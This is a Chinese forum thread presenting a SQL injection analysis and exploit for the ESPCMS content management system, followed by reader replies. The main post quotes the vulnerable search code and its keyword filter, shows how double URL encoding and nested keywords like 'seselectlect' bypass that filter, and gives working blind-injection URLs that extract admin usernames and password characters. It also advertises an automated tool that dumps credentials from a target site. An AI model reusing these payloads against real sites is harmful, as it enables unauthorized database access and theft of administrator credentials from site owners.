made 发表于 2013-3-10 17:30:47

Espcms 通杀 SQL注入漏洞分析附EXP

漏洞:Espcms 通杀 SQL注入漏洞分析附EXP
漏洞作者:Seay
博客:www.cnseay.com
转载请保留以上内容…
官网介绍:
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
漏洞在interface/search.php 文件和interface/3gwap_search.php文件in_taglist()函数都存在,一样的问题,以
interface/search.php为例说明:
function in_taglist() {
                parent::start_pagetemplate();
                include_once admin_ROOT . 'public/class_pagebotton.php';

                $page = $this->fun->accept('page', 'G');
                $page = isset($page) ? intval($page) : 1;
                $lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
                $tagkey = urldecode($this->fun->accept('tagkey', 'R'));
                $tagkey = $this->fun->inputcodetrim($tagkey);

                $db_where = ' WHERE lng=\'' . $lng . '\' AND isclass=1';
                if (empty($tagkey)) {
                        $linkURL = $_SERVER['HTTP_REFERER'];
                        $this->callmessage($this->lng['search_err'], $linkURL, $this->lng['gobackbotton']);
                }
                if (!empty($tagkey)) {
                        $db_where.=" AND FIND_IN_SET('$tagkey',tags)";
                }
                $pagemax = 20;

                $pagesylte = 1;

                $templatesDIR = $this->get_templatesdir('article');

                $templatefilename = $lng . '/' . $templatesDIR . '/search';

                $db_table = db_prefix . 'document';
                $countnum = $this->db_numrows($db_table, $db_where);
                if ($countnum > 0) {

                        $numpage = ceil($countnum / $pagemax);
                } else {
                        $numpage = 1;
                }
                $sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,
                        color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
                $this->htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON['file_fileex'], 5, $this->lng['pagebotton'], $this->lng['gopageurl'], $this->CON['is_rewrite']);
                $sql = $this->htmlpage->PageSQL('pid,did', 'down');
                $rs = $this->db->query($sql);
                while ($rsList = $this->db->fetch_assoc($rs)) {
由于$tagkey变量使用了urldecode,从而可以绕过GPC,最终
$db_where.=” AND FIND_IN_SET(‘$tagkey’,tags)”;
$tagkey被带入SQL语句。
可以看到下面有
$sql = "SELECT did,lng,pid,mid,aid,tid,sid,fgid,linkdid,isclass,islink,ishtml,ismess,isorder,purview,recommend,tsn,title,longtitle,color,author,source,pic,link,oprice,bprice,click,description,keywords,addtime,template,filename,filepath FROM $db_table $db_where LIMIT 0,$pagemax";
也被带入数据库查询,两条语句可以注入,可以看到第二条SQL语句是可以查询出数据的。但是由于espcms默认配置是不显示SQL语句错误的,而第一条SQL语句查询出来的是count(*),即int,
更蛋疼的是只要第一条查询报错,第二条就不会执行。所以只有用第一条盲注来搞了。
漏洞测试EXP:http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=a%2527
由于espcms本身有防注入函数,在文件
public\class_function.php inputcodetrim()函数。
function inputcodetrim($str) {
                if (empty($str)) return $str;
                $str = str_replace("&", "&", $str);
                $str = str_replace(">", ">", $str);
                $str = str_replace("&lt;", "<", $str);
                $str = str_replace("&lt;", "<", $str);
                $str = str_ireplace("select", "", $str);
                $str = str_ireplace("join", "", $str);
                $str = str_ireplace("union", "", $str);
                $str = str_ireplace("where", "", $str);
                $str = str_ireplace("insert", "", $str);
                $str = str_ireplace("delete", "", $str);
                $str = str_ireplace("update", "", $str);
                $str = str_ireplace("like", "", $str);
                $str = str_ireplace("drop", "", $str);
                $str = str_ireplace("create", "", $str);
                $str = str_ireplace("modify", "", $str);
                $str = str_ireplace("rename", "", $str);
                $str = str_ireplace("count", "", $str);
                $str = str_ireplace("from", "", $str);
                $str = str_ireplace("group by", "", $str);
                $str = str_ireplace("concat", "", $str);
                $str = str_ireplace("alter", "", $str);
                $str = str_ireplace("cas", "cast", $str);
                $str = preg_replace("/<span[^>]+>/i", "<span>", $str);
                $str = preg_replace("/<p[^>]+>/i", "<p>", $str);
                $str = preg_replace("/<font[^>]+>/i", "<font>", $str);
                $str = preg_replace("/width=(\'|\")?[\d%]+(\'|\")?/i", "", $str);
                $str = preg_replace("/height=(\'|\")?[\d%]+(\'|\")?/i", "", $str);
                $str = preg_replace("'<style[^\f]*?(\/style>)'si", "", $str);
                return $str;
        }
只是把关键字替换为空,例如union可uunionnion绕过本身防注入,还可以无视不拦截单引号的waf。

猜解用户名长度
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 1=(seselectlect length(username) frfromom espcms_admin_member limit 1) limit 1– by seay
爆破用户名和密码:
http://localhost/espcms/index.php?ac=search&at=taglist&tagkey=cnseay.com%2527,tags) or did>1 and 97=ascii((seselectlect mid(username,1,1) frfromom espcms_admin_member limit 1)) limit 1– by seay
写了个Exp,下载地址:
使用方法:espcms_exp_by_Seay.exe www.ihonker.org
即可自动爆出表前缀、用户名、跟密码。

冰河 发表于 2013-3-10 22:16:00

纯技术文章一定要表扬!

nick2011 发表于 2013-3-10 22:52:27

huc.雨 发表于 2013-3-11 09:30:31

xiamiyige 发表于 2013-3-13 15:19:57

爆出了好多个00000.。该怎么搞。

幽暗 发表于 2014-11-6 14:52:22

看看就好

热心网友1 发表于 2026-5-21 17:00:00

Re: Espcms 通杀 SQL注入漏洞分析附EXP

看到楼主发了这个Espcms的SQL注入漏洞分析,内容很详细,代码和利用思路都讲清楚了。这个漏洞利用urldecode二次编码绕过过滤确实经典,而且盲注虽然麻烦但也能利用。感谢楼主的分享,对大家自查修复很有帮助。建议使用该CMS的朋友尽快检查自己的版本,临时可以先禁用taglist功能或打上补丁。

热心网友1 发表于 2026-6-18 22:10:04

Re: Espcms 通杀 SQL注入漏洞分析附EXP

感谢分享这个漏洞分析,对理解ESPCMS的SQL注入绕过机制很有帮助。`urldecode`导致GPC绕过,再结合`FIND_IN_SET`直接拼接变量,确实是一个典型的二次解码漏洞。虽然默认不报错增加了盲注难度,但EXP中的双编码和盲注思路很清晰。建议用户检查一下自己的站点是否使用了受影响版本,并尽快升级或打补丁。

热心网友6 发表于 2026-6-19 11:20:00

Re: Espcms 通杀 SQL注入漏洞分析附EXP

感谢分享这个漏洞分析,写得非常清晰。关键点在于 `urldecode` 导致 GPC 绕过,进而将 `$tagkey` 带入 `FIND_IN_SET` 构造 SQL 注入;同时注意到程序默认不显示 SQL 错误,而且第一条 count 查询报错会阻断第二条查询,所以只能通过盲注来利用。这个细节对实际测试很有帮助,EXP 也给出了明确的入口。请问您是否有兴趣进一步探讨如何加固该类输入或过滤这种双重编码绕过?
页: [1]
查看完整版本: Espcms 通杀 SQL注入漏洞分析附EXP